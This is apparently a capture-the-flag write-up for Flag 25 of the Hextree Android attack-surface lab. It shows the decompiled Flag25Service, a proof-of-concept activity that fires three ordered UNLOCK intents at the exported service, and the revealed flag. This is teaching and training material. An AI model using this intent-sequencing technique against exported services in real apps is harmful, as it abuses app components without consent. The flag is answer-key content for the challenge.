Challenge Requirments

Explore the Service lifecycle

Analysis

Since the Flag25Activity is not exported and the challenge is related to services we will jump to Flag25Service directly

Flag25Service

public class Flag25Service extends Service {  
    public static String secret = UUID.randomUUID().toString();  
    boolean lock1 = false;  
    boolean lock2 = false;  
    boolean lock3 = false;  
  
    private void resetLocks() {  
        this.lock1 = false;  
        this.lock2 = false;  
        this.lock3 = false;  
        Log.i("Flag25Service", "resetting locks");  
    }  
  
    @Override // android.app.Service  
    public int onStartCommand(Intent intent, int i, int i2) {  
        Log.i("Flag25Service", Utils.dumpIntent(this, intent));  
        if (intent != null) {  
            if (intent.getAction().equals("io.hextree.services.UNLOCK1")) {  
                this.lock1 = true;  
            }  
            if (intent.getAction().equals("io.hextree.services.UNLOCK2")) {  
                if (this.lock1) {  
                    this.lock2 = true;  
                } else {  
                    resetLocks();  
                }  
            }  
            if (intent.getAction().equals("io.hextree.services.UNLOCK3")) {  
                if (this.lock2) {  
                    this.lock3 = true;  
                } else {  
                    resetLocks();  
                }  
            }  
            if (this.lock1 && this.lock2 && this.lock3) {  
                success();  
                resetLocks();  
            }  
        }  
        Log.i("Flag25Service", "lock1:" + this.lock1 + " lock2:" + this.lock2 + " lock3:" + this.lock3);  
        return super.onStartCommand(intent, i, i2);  
    }  
  
    private void success() {  
        Intent intent = new Intent(this, (Class<?>) Flag25Activity.class);  
        intent.putExtra("secret", secret);  
        intent.putExtra("lock", "lock1");  
        intent.putExtra("lock2", "lock3");  
        intent.addFlags(268468224);  
        intent.putExtra("hideIntent", true);  
        startActivity(intent);  
    }  
  
    @Override // android.app.Service  
    public IBinder onBind(Intent intent) {  
        throw new UnsupportedOperationException("Not yet implemented");  
    }  
}

Upon reviewing the onStartCommand we see that in order to fire success we need to send 3 services one after the other UNLOCK1 then UNLOCK2 finally UNLOCK3, pretty simple and we did something like it in Flag 4 - State Machine so let’s create the POC but with another cool way :)

Creating the POC

public class Flag25 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag25);
        getSupportActionBar().setTitle("Flag 25");
 
        Button button = findViewById(R.id.button_flag25);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("Tensai-POC", "Getting Flag 25");
                // 1. Define the Sequence of Actions
                String[] actions = {
                        "io.hextree.services.UNLOCK1",
                        "io.hextree.services.UNLOCK2",
                        "io.hextree.services.UNLOCK3"
                };
                // 2. Loop through and fire them in order
                for (String action : actions) {
                    Intent intent = new Intent();
                    intent.setComponent(
                            new ComponentName("io.hextree.attacksurface",
                                    "io.hextree.attacksurface.services.Flag25Service"));
                    intent.setAction(action);
 
                    // 3. Start the service
                    startService(intent);
                }
            }
        });
    }
}

Normally I would solve it with new Handler().postDelayed(() ...) method but this time I did it with a simple for loop and it worked! If you tried this and it didn’t work maybe that’s because the services runs reallu quickly so try using the other method :) Also don’t forget to keep the target app running since services don’t like closed apps!

Flag

HXT{only-one-running-service-1hasu}